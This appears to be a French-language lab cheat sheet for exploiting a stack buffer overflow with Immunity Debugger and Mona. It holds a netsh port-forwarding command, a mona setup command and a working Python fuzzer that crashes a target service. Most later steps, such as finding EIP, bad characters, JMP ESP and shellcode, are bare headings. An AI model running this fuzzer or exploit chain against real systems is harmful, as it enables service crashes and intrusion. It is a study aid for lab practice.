Exploitation Buffer Overflow avec Immunity Debugger et Mona

Redirection de Port avec netsh

netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=3333 connectaddress=127.0.0.1 connectport=4444 protocol=tcp

Configuration de Mona dans Immunity Debugger

!mona config -set workingfolder c:\mona\%p
# %p = nom du fichier sans extension

Fuzzing pour Déterminer la Taille du Buffer

#!/usr/bin/env python3

import socket, time, sys

ip = "10.10.220.0"
port = 9999
timeout = 5
prefix = "OVER "

string = prefix + "A" * 100

while True:
  try:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
      s.settimeout(timeout)
      s.connect((ip, port))
      s.recv(1024)
      print("Fuzzing avec {} bytes".format(len(string) - len(prefix)))
      s.send(bytes(string, "latin-1"))
      s.recv(1024)
  except:
    print("Fuzzing crashé à {} bytes".format(len(string) - len(prefix)))
    sys.exit(0)
  string += 100 * "A"
  time.sleep(1)

Script d'Exploitation Initial

Création d'un Pattern de Débordement

Récupération de l'EIP après crash

Recherche des Bad Characters

Dans Immunity Debugger :

Génération d'une liste complète de badchars :

Comparaison avec Mona après exécution :

Possibles badchars additionnels : \x0a\x0d

Trouver une Adresse de Jump ESP

Adresse obtenue (exemple) : \xaf\x11\x50\x62 (à inverser pour l'utiliser dans l'exploit).

Génération du Shellcode

Ajout de NOPs (No Operation)

Exploitation Finale

Injection dans le script d'exploit avec buffer structuré.

Mis à jour